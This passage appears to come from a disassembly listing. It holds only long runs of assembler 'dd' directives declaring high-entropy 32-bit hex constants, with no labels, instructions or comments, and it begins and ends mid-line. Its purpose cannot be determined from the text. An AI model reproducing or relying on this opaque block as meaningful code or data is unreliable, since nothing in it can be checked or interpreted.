24E49476h, 0C242706Ah, 2B969468h, 21C89022h, 94880A5Eh dd 84685097h, 310123E1h, 32083BA2h, 3C832C3Ah, 0A8816DA4h dd 43406CFCh, 248CD0FBh, 0CFA10C01h, 0E10FDC70h, 0EB7591C2h dd 937CD420h, 14680552h, 447F2930h, 5C66ABBAh, 0D3D421FFh dd 0A4319064h, 309411DBh, 0F24260Eh, 21E04F08h, 0F8BC3148h dd 2F855F0Ch, 2C74257Ch, 344A7ACBh, 28EEA1E5h, 92D2B1E8h dd 8445CC2Eh, 950FC017h, 825EF8Fh, 9FF9E19h, 5F30E2FAh dd 0A1B6E50Bh, 0CDD2EC42h, 36626560h, 66A1287h, 8DEEA198h dd 0ECC89F90h, 841489F9h, 4A061DB4h, 2ED72C88h, 33727131h dd 21572034h, 5311F7ACh, 8A85899h, 0CA2D4614h, 42542746h dd 0C4C023DEh, 0C3482A1Fh, 21F08518h, 300EE883h, 73480D74h dd 0D902F5B3h, 24EB57F6h, 8B53C084h, 0F1D3C42Bh, 758A611Ch dd 5313E422h, 229035CBh, 0BAD774A2h, 489BEC78h, 27704083h dd 6F176874h, 0A9699225h, 0F2B6F5F7h, 4B136A53h, 33696A2Eh dd 0A626676Fh, 0EE69BFA5h, 0A4DD71C9h, 0C88CC47Ah, 1E9E83F4h dd 767A6896h, 7C7450F4h, 0F850649Ch, 3F424271h, 0A0BF2574h dd 358B5689h, 9822D2FCh, 41C9579Bh, 259BFBD6h, 38083F95h dd 90DA5346h, 12BAE7DDh, 0C2FFDA1Ch, 31427208h, 14170233h dd 3B70648Bh, 9FEE1E8Ah, 0E0463D09h, 0A193DA8Ch, 0A7DF4C4h dd 69A24BDAh, 0DA683421h, 19D8E9E9h, 1368DE84h, 244AD112h dd 8BFA0734h, 0A75D15Bh, 92177A49h, 68410A5Ah, 4EA4216Bh dd 0D9205E12h, 85C044FBh, 76397C82h, 5EAC3295h, 851444F2h dd 0DC0FBFA4h, 0D0444927h, 5103E0FCh, 0B2FC6C6h, 4C7718F3h dd 0B70BF699h, 0D42BF791h, 0EB37F003h, 3A7AF3D9h, 6EB139A1h dd 3D4C3374h, 2B76C3C7h, 893450C6h, 41348418h, 103301CAh dd 7E4A0C8Dh, 3DD95C0Ah, 99F98F4Ch, 24C8824h, 0DCA16684h dd 55EB9D95h, 0FEC721AFh, 0C41EDB5Eh, 0A98952BFh, 0F7670C26h dd 7552B8CCh, 5E28B45Eh, 9BED83B6h, 0C7516E4h, 5CD10274h dd 3C8587DEh, 0EC0C6AC8h, 0A5DB8509h, 0DD3098FEh, 0D6371295h dd 23D413E2h, 905D8E8h, 46CC68C8h, 0D53BE3D9h, 0AAC5BBC9h dd 4C6AF2BEh, 3D80643h, 340C0A74h, 0EB2008E0h, 4C2C5FD4h dd 91438EDEh, 6256567Ch, 0FE657B88h, 0A22DD511h, 6ADC1864h dd 882E0456h, 2E8B994Dh, 0FF0C99BFh, 0D0E8C810h, 0BECF3523h dd 0EAB70115h, 0BBCA0B10h, 9EE2BB1Ch, 0E71C623h, 14B908E9h dd 4D8922E1h, 77B82FDCh, 90ECB992h, 1803F261h, 18476AE4h dd 5010EC8Eh, 4D078B79h, 0E5458AF8h, 6552D167h, 0A6374BE4h dd 0E71CCC22h, 0A48BE618h, 0EC04ED22h, 0EF10215Dh, 8E9EE22h dd 17F081F1h, 23C18B40h, 6893A4C7h, 479384C2h, 0E80E9CCEh dd 4A9F93A6h, 275E76E1h, 8B255866h, 9065D27Dh, 0B7E0AE1h dd 58845657h, 375F2480h, 9BF03625h, 250E9CE0h, 0D804DE51h dd 7395AC68h, 0B423819Fh, 0C80AB451h, 36535934h, 0B09A4CD7h dd 0B15309EBh, 931C4B2Ch, 0B1BF0471h, 0C96DFB39h, 82804D6h dd 0EC7252E7h, 0DB86557Eh, 512942FCh, 3D322350h, 7A541A04h dd 43C6EB8Ah, 0FC1796E8h, 7E9AC0ACh, 0F8214B34h, 0D15BB5E6h dd 59D87E77h, 47C37C6Bh, 85144C69h, 4B49BEEBh, 591CF41Ch dd 8AE40C28h, 0BD07BE62h, 0C0D67933h, 0C8C49811h, 0F758AC57h dd 0A76846E8h, 564554B1h, 0B3CA328Ch, 70F92530h, 10129E24h dd 22DCE1A8h, 0BA905F8h, 8B598FFCh, 6256371Dh, 579A88FEh dd 681753E3h, 98A34529h, 7EF46C33h, 83EDA4CEh, 0D00B6FCCh dd 29FF0CEDh, 5EA924Bh, 21D3FF88h, 14E6FC22h, 6AD3E730h dd 8426CA44h, 16A1E59Ch, 4519A435h, 23A3BC7Bh, 0F8C01027h dd 0A48BB6A8h, 848A3111h, 0B04C5144h, 669B9001h, 42AB54Dh dd 812AA89h, 0AEC80D2Bh, 88D80F34h, 0BC57FC84h, 0E9044622h dd 65FC8CD3h, 0A246E0C5h, 5C74258Ah, 0D143CC8Fh, 0B740EE2Bh dd 0A4C9F925h, 9119A1B4h, 0BC6AE38Eh, 6A2123F5h, 915DEC6Fh dd 0FB9F7DF8h, 0EC1432B2h, 0D6130532h, 57550E1Dh, 82FC2228h dd 78D3139Dh, 804532Fh, 88E6F811h, 0DC75C2FCh, 16D80584h dd 9CDF6046h, 0F1E00B0Bh, 0B029FE68h, 45D50C2Bh, 0B1E710E7h dd 0EC2206C0h, 506227C8h, 0FDB39FFh, 0A753EC11h, 2C5C44E8h dd 1CEB9353h, 0F05DC9EEh, 71981E4Ch, 3B01CE7Ah, 394575FEh dd 20D4E45Dh, 9DCB753h, 5D5DAB49h, 459DBBCEh, 2C44A576h dd 2CBA405Bh, 1AA45407h, 7769E29Dh, 85516A94h, 0FA860514h dd 1CB8DB61h, 52925414h, 3B824949h, 0DA92BBC6h, 2FCF76C1h dd 2268D522h, 0BF74403Dh, 7F477409h, 48751585h, 11F55680h dd 0C93E9456h, 843A3453h, 68BB9EEDh, 54755884h, 74847BA4h dd 47822756h, 2530FD7Bh, 3023B357h, 0D4840FC2h, 1011F99Bh dd 4CA9BE27h, 0CEFEEDA9h, 684487C8h, 8C2FAE9h, 0E5C1E674h dd 2175C0E4h, 0F97E8584h, 6A0D4859h, 0F7ADF3BBh, 0A70E00BBh dd 33569674h, 3F19B6D9h, 219EB938h, 0C4BF4093h, 84B5E3C2h dd 0AD79F940h, 97B4F721h, 0BF43C981h, 1805898Bh, 2703C4E7h dd 0B84CC7E2h, 0FB2700ADh, 0A084FAAh, 70B90158h, 0EC1BD3A9h dd 0AF203450h, 0A0AC21FFh, 5B900802h, 2B3B89F5h, 0E54ADBB9h dd 9EE0CD31h, 0B54AE806h, 0CB2D3D4h, 2DEAE4C4h, 0C324D815h dd 0B228AA53h, 21DC6935h, 6A1FD576h, 0DEBF5189h, 0B010B52Ch dd 0F84F45D4h, 5E7F41B7h, 0EEC887FBh, 0E82D0F94h, 0A7A2A079h dd 5767E06Fh, 83834BA8h, 0A485C865h, 4795C453h, 7FC610DBh dd 0E41A139Bh, 5CEDE51h, 5CC38B07h, 6AB8C6E1h, 0E844290Ah dd 919D5289h, 5F4FEF58h, 0D8BD0A36h, 0FC7D409Dh, 8D53416Ah dd 107B4DA8h, 0B592FBC4h, 560A0301h, 79500227h, 60D92509h dd 0F6933BA9h, 1333EA4Fh, 1EBD6317h, 54C57C18h, 0DA92646Ah dd 0F9FDFD5Ah, 3D0F70CAh, 62A5857Eh, 94B1201h, 0CC927695h dd 3B89A284h, 7A75DA41h, 95ADF68h, 15C1013h, 29FDC462h dd 0F5A1CFF2h, 796B4C71h, 39C92984h, 1676829Ch, 0AF93958Dh dd 0C7402F0h, 0C2834107h, 16FA3B04h, 8F0720Ah, 83167540h dd 400284BDh, 84890D73h, 8A288F8Dh, 3B141085h, 37E0DBDh dd 1F610A89h, 4EAC9E20h, 0D3B0D249h, 0A32B1044h, 0AD20B456h dd 0FC432CA4h, 8B527F05h dd 0E2331895h, 7634D63Bh, 6D42403Ah, 40A7438h, 72CA00C0h dd 6126EBF4h, 1B730E4Ah, 8B5F488Dh, 41045005h, 32261089h dd 7237C743h, 648BAAECh, 455BE357h, 0B6B66A67h, 0A4771256h dd 0A4681674h, 8499D49h, 9C536818h, 31BF5B11h, 6B0D7573h dd 8434D0BCh, 0E644052Ah, 7C2532ADh, 2D7E9F16h, 2214484Ch dd 0EB296468h, 5C902161h, 68210DACh, 0C840114Ch, 10105644h dd 1F883068h, 0E782CE4h, 44681E80h, 0CCA4570Ch, 4BF8C1Ah dd 283A7F17h, 245B2614h, 0B4C24499h, 13C4883Dh, 48EC2168h dd 3789ABB9h, 8548E850h, 6878D4C4h, 8924CC56h, 0BECD8334h dd 0AE2749A0h, 95FED810h, 31094159h, 0F3C5EA0Dh, 0E4FED888h dd 8A1C4D3h, 98E48E4Bh, 0DEB82A78h, 4B80BE29h, 4B20FD2Ch dd 0EF4D6651h, 4CA44ADCh, 0EB0A0FE8h, 786441B2h, 85B17E6Dh dd 5B26E37Bh, 422D7A3h, 64182DEFh, 0DC48E408h, 0F629D492h dd 270E48F1h, 5B30CC04h, 0DA9E1B1h, 0F00E153Dh, 32696A0Fh dd 523FB43Fh, 855A1034h, 59C4FAA3h, 0AAB4435h, 58271044h dd 1C81A5B7h, 0EF7A79A3h, 3C68B482h, 5C4A33BAh, 681D5D81h dd 142B1F1Ch, 59CCE4D1h, 99202850h, 0F5469D47h, 93F5D36Dh dd 0BF6847B2h, 0DC5E625Fh, 499E9A0Dh, 0FBBC9660h, 0B2237580h dd 0F7202D4Ah, 8CFC9493h, 16EF3804h, 0F920251Ch, 11C6E516h dd 0CA753CEAh, 845D9372h, 29D06817h, 41255A04h, 0F9479B09h dd 755EC8FAh, 312522A1h, 0E42A05C1h, 0EB305954h, 6820CA2Eh dd 0DC458A74h, 42CD93BFh, 291B687Ch, 4B865868h, 6A95C33Eh dd 4783022Bh, 166553Bh, 0E9198E35h, 32E4324Fh, 0E75AD4B6h dd 95A02293h, 515D12B2h, 9CE0AED0h, 94F1256Ah, 4BA3BB6Ch dd 0A764121Ch, 0D2C84AF9h, 8A0C4B75h, 52AF5ECFh, 14E3A2D5h dd 4A2835FFh, 162BE88Bh, 47513811h, 2FA5D4D9h, 82A2DEDCh dd 70E9AEB6h, 8D565A41h, 6EE37EE6h, 6CDDF06Bh, 0F7148A59h dd 505BA878h, 85C4BFF9h, 80600EF6h, 75100C46h, 0CD574B3Eh dd 5192B21Bh, 0BD93CEFAh, 10A19ADEh, 96578C32h, 24085F8Ch dd 0D0A5E82Dh, 0C9740B3Dh, 0BC327F5Fh, 99229D17h, 0F08AB0BDh dd 30968E28h, 73ECB962h, 0FA140B2Eh, 7EC97E76h, 0ACB005FEh dd 0A418EC03h, 0A79D17AEh, 0FDA4C51Bh, 0DE88D7A7h, 0A4B4E010h dd 8D95F4B2h, 85F88741h, 2BFD5AACh, 49DC2197h, 536B4444h dd 7F14C951h, 1591C73Dh, 2E9A3E22h, 70515696h, 89252E58h dd 5CDEA58Bh, 8F74B25h, 7D0106A3h, 33416AF8h, 0B52B0A6Eh dd 2501A0Eh, 0F5102984h, 0C2DF0450h, 0A85BDBBh, 0EE81D540h dd 8A5B0211h, 74AC8ADEh, 0FC53D620h, 47134F28h, 918952FFh dd 1502AEF8h, 670209EFh, 0C1AFF867h, 28A7FF9Dh, 4CC83D94h dd 0C9338988h, 12051076h, 8724958Dh, 8608F1A0h, 0F472CB18h dd 0F6197508h, 734012FBh, 0AE5C414h, 65A38B1Ch, 3BAA6243h dd 860F9281h, 97DA74Ah, 0EEB02144h, 44C3BFA7h, 81D787C7h dd 0E99D6F57h, 0AD215FE7h, 9F9C70ABh, 0F9425673h, 0EB4E5625h dd 0F3587F2Dh, 31882183h, 2B01F6A8h, 392726A7h, 105995C2h dd 63888C22h, 0EEC3438Dh, 0BD1D73C8h, 15B38F74h, 21C89D1Fh dd 3A538D8Ch, 0EA7215CAh, 30919F4Bh, 0AE231A51h, 39EE134Bh dd 4281196Fh, 0B2D10832h, 62017CAFh, 1568186h, 5848A61h dd 0A3C1E40h, 0A435F288h, 4444B0B9h, 0F04BBE8Ch, 89CA8C11h dd 431CD556h, 43134852h, 5F80148h, 0B8367659h, 715BFD6Eh dd 0D3382CADh, 0D4BA8408h, 0BA4B7DF7h, 0EB10A530h, 252FA417h dd 0D4B4EC68h, 3D347424h, 0E50C5F56h, 61A50412h, 534650C2h dd 20043978h, 41820F59h, 0CBD4F211h, 3F324489h, 426B0A57h dd 0F1C70A91h, 3F1DC9EBh, 4603EBE3h, 834EA97Dh, 143F5F32h dd 93EA52A0h, 0E5C11510h, 81B7A4EAh, 776522F9h, 83397305h dd 57FE0865h, 0A4DEE9F4h, 28AC60C2h, 0B8184C32h, 4D68BA96h dd 2562F2A5h, 13DEB4F0h, 760793h, 3B462FE7h, 9128ECF1h dd 0D2FD2C29h, 8BADEB85h, 0C4C57F84h, 75626BE3h, 640FF710h dd 0BCA349C4h, 0FDB49DC2h, 2058F512h, 0B014BCB9h, 0FA188464h dd 0DE141C59h, 10E4BC51h, 85BC592Ch, 0F5A01252h, 76B8E934h dd 54085BB1h, 5AC77216h, 0B3C8B496h, 55805CC7h, 0CBD1ED4Ah dd 2F754638h, 5474FAB0h, 0AC2B10FBh, 2533A3F9h, 4C7C3920h dd 5427DA4Ah, 0C34C12D2h, 0E4B9052Dh, 1458324Bh, 0A139FF64h dd 0BED19845h, 6A47916Eh, 0D0462046h, 97EC3DD2h, 90711089h dd 1E6AE006h, 88C44228h, 0BD83C10Ch, 779F248h, 0A77F9891h dd 1D758A08h, 9387685Ch, 4AFDD2E9h, 24163747h, 11A7C4ABh dd 0F8A1233Bh, 28290E49h, 0CB571714h, 8FF7FDAh, 2F0291B5h dd 0D130DD1Ah, 0FDAE1675h, 4CA81B84h, 0ED98F1F9h, 0FE1DEB2Bh dd 94175794h, 0CDEAB521h, 594719DBh, 28FCD384h, 3DFB9757h dd 84BDC445h, 0F0C872D3h, 6A8A712Bh, 0B4101399h, 2F2638CDh dd 7C927474h, 0C3095323h, 0D55C82C6h, 0F48B6059h, 649C7FFEh dd 10B00F84h, 0CF8C4B90h, 761A619Ah, 0CA80C777h, 992B16C0h dd 110134Fh, 0BC802EC9h, 25134035h, 15C82475h, 91329EF5h dd 7AF6221Ah, 46100530h, 231D84C6h, 83CB2089h, 1AEB8317h dd 122E3511h, 8EF2F3Ch, 3015CC5h, 88C0BE0Fh, 5A082249h dd 4E8AF346h, 815F4350h, 7259F03Bh, 51C75990h, 6FFCEC50h dd 0C81665A3h, 0D42DFE9Ah, 85EE1405h, 0A1E2BE79h, 4B14188Ah dd 2E0546F5h, 269016Ah, 0D745E10h, 0B65B672h, 23910806h dd 316562F2h, 0EF1D9E01h, 9A5CAB9Eh, 84771B03h, 4EF039C4h dd 7F3C499Dh, 0E8BD317Fh, 9D6A747Dh, 59541422h, 4C78C25Fh dd 0A0B81843h, 0DDA412A6h, 0B4AAC04Ch, 9044A075h, 3B94AEFAh dd 65EEAF2Dh, 4F839FE1h, 5F91FCD0h, 0C5E4A0E0h, 0A85BEB13h dd 64F3B1E1h, 746A9F30h, 6B565303h, 97805F54h, 99B5CB6Ch dd 0CF5D3065h, 8E64710Eh, 917927BDh, 0BB1414D8h, 4B609D11h dd 8B2F1AA2h, 7A962B5Fh, 446817B4h, 0E6D8B84Ch, 0EC719526h dd 8AD4606Ch, 0BFC17B57h, 8814B093h, 0CDC8F89Bh, 2E61A73Ch dd 96F7DA31h, 0F7D0BF69h, 0C7C8FC42h, 44E8BD58h, 6A2138FCh dd 0EBD54805h, 11B0E555h, 840C29F7h, 0D92F1168h, 9FFCCBD7h dd 9432F569h, 0DBC470DEh, 406CB7DCh, 5D8053FAh, 0F806CBFCh dd 0E5A6F44Eh, 0B05F5747h, 743F10C6h, 4BBE3823h, 642526FAh dd 189029BAh, 0D9B73690h, 0A3D76B10h, 78C9F497h, 0F570950h dd 5729DB84h, 5C8896B0h, 37FF3829h, 5DF4681Eh, 52B93912h dd 0DC9720B6h, 0FFFC7B50h, 0C04CE6A7h, 5C685782h, 186835B5h dd 3804C640h, 4619D2Ah, 0F728C396h, 0C02B05E6h, 18E44B4Fh dd 9468147Fh, 0B00CA834h, 23D08C51h, 0A8564F80h, 0B577741Eh dd 23988CEEh, 2BE40258h, 3FBB0E69h, 0C741703h, 800B91E8h dd 308F083Ch, 0F4754880h, 99935040h, 0F2AB4534h, 4812D063h dd 7C2C2B2Fh, 7820C454h, 0FB65ABFCh, 0EFA9BD7h, 519C4127h dd 4120FE34h, 10923D71h, 0FE5B03C9h, 9D39AC45h, 0A0221E19h dd 0A4447016h, 4F282568h, 841D194Dh, 50411B69h, 211B42D8h dd 0BFE42E6Ah, 0C2198C2Eh, 8BD4711Ch, 1C321568h, 1572918h dd 24B9F06Bh, 3D9CA7BCh, 5770F0Ch, 600B206Ah, 76C0B70Fh dd 790B0348h, 4D125162h, 0C9B8DF2h, 42056CA0h, 81EA32EEh dd 4FB1C1B8h, 20B1022Ch, 10D44CF6h, 16FE6C4h, 0F8C60916h dd 5938A691h, 0E4244796h dd 0FB70214Eh, 0F806B507h, 7C10E3C7h, 0AB18A48Dh, 0DC68F11Dh dd 88BB4FA4h, 0D8A5FDF8h, 622F91A5h, 48144EBCh, 41EE6357h dd 51170D7Ah, 0A3B468B7h, 0C2BF3E89h, 141C27F9h, 0C410591Eh dd 86C60776h, 158E968Fh, 41AF927Ch, 0FE0431ECh, 142505CCh dd 24BCE64Eh, 7722FEF8h, 4E1321ACh, 0EA4C6A2Bh, 820DF984h dd 3710FC6Fh, 0BF749753h, 5B5C394Ch, 3C4310C9h, 5E94C09Ah dd 0AE564D40h, 933A9F96h, 646E3F2Ah, 0C8B02FEBh, 518F429Ah dd 0BC100F1Fh, 0C6FBDF4Dh, 7E978BACh, 0E8C182EAh, 784D500Ah dd 94D233Ch, 2A32DFF7h, 6824229Eh, 5C5C1F20h, 2FAB4418h dd 0D2355E10h, 6C96D86Eh, 9B5BC926h, 1125453Ch, 90470C1h dd 0A0503531h, 50529912h, 1C90A529h, 4229F5FCh, 4CF0AE41h dd 0CB0AE33Bh, 15AF9134h, 0A88AEC29h, 3B64ED1Bh, 0ACF824B4h dd 68FC1036h, 232AF580h, 38868F92h, 330EC204h, 6E9D57F6h dd 0B34F3C33h, 55803458h, 849394ACh, 4A97B627h, 82229DF3h dd 18535627h, 0B8C63B80h, 740C17B9h, 5E40A26Ch, 8B2B37CDh dd 7D3B1C33h, 9DDE72EDh, 6A0944D2h, 74D8F702h, 0CC284549h dd 7EF9FC80h, 86578462h, 56B7EC14h, 0AE5F1056h, 0B70FA53Ch dd 1533B3B1h, 29674DBEh, 5394DC94h, 626BED9Ch, 9B1557Bh dd 457B070Ch, 801602AAh, 0C17D3E3Ch, 0B0CBC687h, 0B446572Fh dd 6BEA5149h, 0EB6290D4h, 0DC2113A0h, 9655A760h, 6C74BFEFh dd 0E97FD879h, 8EAEA4B7h, 321C2385h, 24741812h, 9C29DFA5h dd 0CF9D1EDAh, 0C074964Eh, 0C73B2872h, 271153B5h, 68201A74h dd 25F768D1h, 46655EF0h, 20130624h, 0B58FE868h, 2D1B1C29h dd 3BFF449Ch, 5629D28Eh, 97FE691Eh, 0D1A510C8h, 895E479Eh dd 22E3CDD5h, 0FC0FCB3Dh, 0D69E3A4Eh, 75052F24h, 14245719h dd 0D732CAEFh, 38A2F9E8h, 2450722Bh, 0A7585F10h, 0C64FB663h dd 74FD2A1h, 6A27E420h, 665ED371h, 0E84B44E6h, 1789C0E6h dd 57932471h, 982300A6h, 5350E404h, 5E1F33Ch, 0B88EC4FBh dd 0FEE1E2FDh, 0BFF442B7h, 0F15CE6F7h, 532B223Fh, 0FC71BEF4h dd 4AB94691h, 50D68104h, 4FC68BAFh, 22FDB0C2h, 6ED15164h dd 1CFDC862h, 410F1452h, 0FC6797D1h, 9FCAB8A2h, 3E276817h dd 0C6ACC8Dh, 0BA6EFED8h, 195FE3EFh, 24B2BFBCh, 0B54C2561h dd 809F5FB7h, 0AE553F47h, 6309851Dh, 38CC286Fh, 704FF8Ah dd 75445601h, 0D2BE88FCh, 0A0562758h, 20B61952h, 1410C90Fh dd 9A2D1CFh, 0F6E6088Bh, 7ACF564Ah, 4B50AE50h, 0C84CA903h dd 0FEB0624Ah, 5F011024h, 2F2080C7h, 0C753C2A6h, 0F756EC17h dd 0BC75C4A5h, 42837DEAh, 3054F0C6h, 0C429F927h, 9730AF08h dd 0D6C04D8Bh, 3005CD46h, 49820431h, 0B37F8112h, 0B8E41061h dd 0AB57B964h, 0F461BB2Dh, 6A6D317Eh, 0C3CA2A0Ah, 8ABC1340h dd 7480665Fh, 0C56595D8h, 24346427h, 98D0E874h, 89C028DAh dd 20667997h, 43D06484h, 11DC8BDCh, 0CC21FCB0h, 12245765h dd 4099B6BBh, 7397C4A3h, 20C0BB91h, 0A5E09C8Eh, 0A9487DF4h dd 0F3C6803h, 127F8741h, 0C49472EEh, 131CC639h, 9DDE3968h dd 55FF6309h, 0ED926245h, 0AF9F9DEFh, 0E543D6EAh, 0A549BFEBh dd 8C891657h, 92C04909h, 130BB9F4h, 66F61344h, 0A24A9694h dd 0FEBC1038h, 0D05DC99Eh, 85D7480Fh, 51730FDCh, 29AD022Ah dd 0E53726A1h, 8371C3F0h, 6B85484Eh, 0AC6C7208h, 47E8447Dh dd 110EAFDEh, 34F7AF9Fh, 84EA4A73h, 83CBBB64h, 5C48AD53h dd 91150F2Bh, 0EEB1B58h, 0F88C25C8h, 64581455h, 5610B8C7h dd 0BED11BEAh, 6E950EAEh, 0E3564E7Dh, 31F08B62h, 0D697EA5Fh dd 54B0FCCCh, 9085EC89h, 525484BCh, 0BC916429h, 7FE98991h dd 0A4240E1Bh, 0CC508FD0h, 1CB3278Dh, 0A25261F4h, 0AB0E8B9Bh dd 58063BF0h, 68C1CC77h, 2A411123h, 4A4D6B2Ch, 2E689ED0h dd 0E004B353h, 998B0A75h, 13BBF11Ch, 0D018EC10h, 99947195h dd 5310195Ah, 0CC36AD42h, 7E80C6DEh, 17843E2Ch, 0C3D84F94h dd 0DD1348EBh, 0B5214A1h, 0B582114Bh, 3669FF97h, 0FC25E64Bh dd 0E4256EEFh, 112823F2h, 0D87CB949h, 3551E626h, 8E247C30h dd 0A743F19Fh, 0BB92F0C4h, 0CDEED827h, 261123A4h, 0CFCA73Fh dd 66D1D1A5h, 1D844B1Bh, 909535D1h, 43B9A3C4h, 0ECC9A657h dd 5EDA1456h, 0EB73CF0Ch, 86785B2Ch, 89AB2C48h, 11217601h dd 1BA24A1Eh, 490ADC26h, 0C4AF0B7Fh, 4300AC7Ah, 6B332D8Dh dd 0C9D9959h, 6F7493Eh, 0EAAB1AF5h, 0CBE248Ch, 8A5EBDAAh dd 7563A6BCh, 0EF36FA18h, 9657919Ch, 1CC46F49h, 0D41ACB90h dd 51FD487Ah, 7AC503F6h, 0B60D5710h, 6A01F5BCh, 6F105940h dd 8D12B795h, 0A297C7ADh, 28444031h, 23746EA8h, 0A4CE3994h dd 0BB9D532Ch, 4A547719h, 0F1887934h, 0A3A287E8h, 0C299E8E6h dd 3DE2736Eh, 0D41B1E93h, 0B8A11030h, 21053190h, 7A22A40h dd 0DAECE069h, 0E02C3D2Dh, 0D6497548h, 0F371577Fh, 40CDD02Ah dd 1F5A0433h, 2F750DC8h, 16E05728h, 39A55318h, 1652132Bh dd 0F068153Fh, 84A7C152h, 264C5006h, 0F2539C23h, 14E19752h dd 98A84753h, 104427A5h, 9ABCBFAh, 2A6A5651h, 71A5F57Ah dd 0D7BEEFAFh, 30F3B835h, 6882E8Ah, 254DE846h, 73747410h dd 0B8282794h, 0EBDB0474h, 8A58680Bh, 7B592769h, 0FE5E1641h dd 5A082F66h, 257CCB10h, 0E2FFD618h, 30B28468h, 0BDB7DA5Dh dd 51C61329h, 0B905A425h, 0EC0C78A3h, 718CFD5Eh, 0B889125Fh dd 22F4F2DCh, 9C57955Ch, 0F63325D1h, 1D18275Ch, 0A554F424h dd 7DB492E2h, 0CC68DCEAh, 5F411632h, 967F12Ch, 3C142975h dd 0D854B02Ch, 0B50A795Ah, 53896C77h, 0E0935B94h, 847E0D9Ah dd 5789B042h, 0E2400CC4h, 0D1D29EE4h, 0BD250D3Bh, 0E0B2D339h dd 8BE59414h, 0D2D30117h, 0F9CB5312h, 55140328h, 0D0899674h dd 0E0E80CF0h, 4FB4F475h, 0BD58506Bh, 0F036C589h, 679ACC69h dd 0CAE83219h, 0D67E9AF7h, 0B56A9D28h, 404496B3h, 0C162B44Fh dd 41A850C5h, 9C24FFCEh, 0D093BBC8h, 40ECE62Ch, 302768FBh dd 21579654h, 5745FBECh, 96A0D21h, 0B8C83D39h, 135CD652h dd 0DC3D9C24h, 86FDEC88h, 9F11C020h, 0A3BB06C4h, 408AB893h dd 3710C8C8h, 5347F4ECh, 43F98A93h, 53BC16A2h, 75CE99E3h dd 428BFC92h, 57094B1Ah, 3E48FB50h, 0B588B5A8h, 0FBFC939Eh dd 0F54D4B85h, 9196EB2Ah, 85305BD1h, 0F870B539h, 9F8E58B5h dd 185FED66h, 5D5E80F3h, 6927452Ch, 0F0FA30FFh, 87E8DB33h dd 6E9DCB92h, 0FFF6BF3Dh, 55C94667h, 591226D1h, 126E7C26h dd 2419F968h, 9D21409h, 0C33BD70Ch, 7529103Ch, 5442E619h dd 4E833855h, 0EAFF0C2Ah, 11323A53h, 14B21AABh, 323E2BE2h dd 1335955h, 3A1476C3h, 946AD2CDh, 229A0652h, 499DBE8Bh dd 1099E8FEh, 2EC0C14h, 0BAF00508h, 626AF9C8h, 71305003h dd 74C32B00h, 6F487335h, 53D5062Ch, 55A2088h, 0BA102F81h dd 0D757444Dh, 0A100DC8h, 3B081BEBh, 496B0429h, 8167F8Ch dd 0DB34CC9Dh, 5AC46434h, 19332850h, 84360A32h, 925F0409h dd 0EB63650Ch, 68FF8764h, 0C6B5143Eh, 0FC184FF4h, 75F88991h dd 0F73B5CB8h, 0C745BA98h, 68BA8D3Bh, 870A9A1Eh, 0FE6B3E56h dd 0C5561656h, 7D67317Bh, 31AF2AF0h, 49D3FF9Ch, 0EC5347Eh dd 0AC4E3485h, 56202FF7h, 46CF6E76h, 0E3FC7FD9h, 14455064h dd 0F1A5C428h, 0AB2EEB8Bh, 6C6CDCB8h, 2A950923h, 23376E1Bh dd 1620BCEAh, 7E7D83EAh dd 683FF4E1h, 27319C53h, 0B0E4D238h, 210555B5h, 3DF8189Ch dd 5F27AAFBh, 33631E4h, 86E01350h, 0B2F28E0Ah, 0A90648FCh dd 38C68B85h, 6A8858F9h, 20199544h, 86FC08A8h, 68B61DB0h dd 0D5F1CA5Ah, 62D452E2h, 0BE2A24ACh, 42A8F181h, 3BD704E8h dd 0AC653929h, 0B08CBBD8h, 0C081C406h, 0FE09BC02h, 6D8991Bh dd 0DA0F92DCh, 0D4D41D09h, 85056BAEh, 4915D7D7h, 0EC516AF4h dd 56F3A813h, 8C48F8Eh, 29977C68h, 0CEFB55C9h, 82E8209Ah dd 7BF44DCBh, 0F07509CDh, 46D789E2h, 319895DAh, 3E9116EBh dd 3B564442h, 59FC441Ch, 81C7D969h, 82EBB026h, 7ABA8FDCh dd 922C6451h, 976A70CDh, 5F956A6Ch, 12892CA8h, 748A2137h dd 32172062h, 0D0E1D24Eh, 2A76408Bh, 20208D7Eh, 0AF98012h dd 0FA40C31Dh, 0C609740Dh, 50052784h, 40422C8Fh, 9AF8C88h dd 0D18A4601h, 72A6203Bh, 64CD655h, 774B8E12h, 988A86D9h dd 5C66167Eh, 8B98EB0Ah, 4B4FAE35h, 6DED81D6h, 0EA00F74h dd 908442B7h, 8EB243B4h, 0BE9610DCh, 8908FB22h, 3466DE90h dd 0A275C606h, 42200B48h, 52304F64h, 0CCED8E0Fh, 763C3951h dd 4D75EF90h, 8ADEEB18h, 12BE0F42h, 85F981C8h, 0CB98FE53h dd 7308633Ch, 7FBB5774h, 3D853A3h, 74EB0A75h, 7292345Ah dd 786CEB3Fh, 0B2C91EFCh, 20C286C6h, 58F92008h, 88FBFA44h dd 0FD800DFCh, 66A090Ah, 15636EBh, 31BA2415h, 0D3CE646h dd 595005F3h, 23C62575h, 65740A12h, 0EB022EC0h, 19F33B13h dd 894E2676h, 28201208h, 59030AF0h, 51F889A6h, 56EB0936h dd 0F4A8697h, 0E8C353BEh, 0D07D9D57h, 4BCB5647h, 0E249FC04h dd 0A15F2774h, 0C40A0138h, 75F4CD40h, 3B5F950Ch, 182367E1h dd 0C2995BF0h, 380F55F4h, 719FD423h, 81064E6h, 0AB2C1B5Bh dd 0E8A45BDFh, 0CC22FB59h, 648970F6h, 0AC5375A8h, 9CC0E826h dd 2EED919h, 0CAF839F0h, 53E47E54h, 4A792AFBh, 0A721FB48h dd 0C96DF58h, 4141059h, 0FA2CB551h, 852F2A2Dh, 14A6BE66h dd 1241E997h, 0FC4D075h, 64601A26h, 0FA3049CCh, 362CA132h dd 884A0FFDh, 4E9FDC5Bh, 0C46AC2ECh, 2070D88Bh, 7869DE59h dd 0E875F19Dh, 5730846Ch, 4DE07543h, 80D6B72Ch, 0C8DE045Ah dd 0C42511E7h, 8114E67h, 0C4FF2C10h, 0C8681DD3h, 72D8C485h dd 7B863E05h, 9C56F425h, 0A2A7ABF6h, 515656A9h, 0E2234DC0h dd 5A0AAD34h, 26F6FA29h, 0EF285CDAh, 5960589h, 8A3A2C41h dd 26025857h, 422502D4h, 8BA8F177h, 6EE48D5Fh, 2AACCEA1h dd 8B1238A2h, 5BEF006h, 0EEAD8989h, 0A996AFF5h, 0DC321350h dd 0B412F41Dh, 0AFF9BD27h, 11103719h, 306B9853h, 3A6881FBh dd 1778AAF5h, 7F4662A6h, 42BD80B1h, 4C410430h, 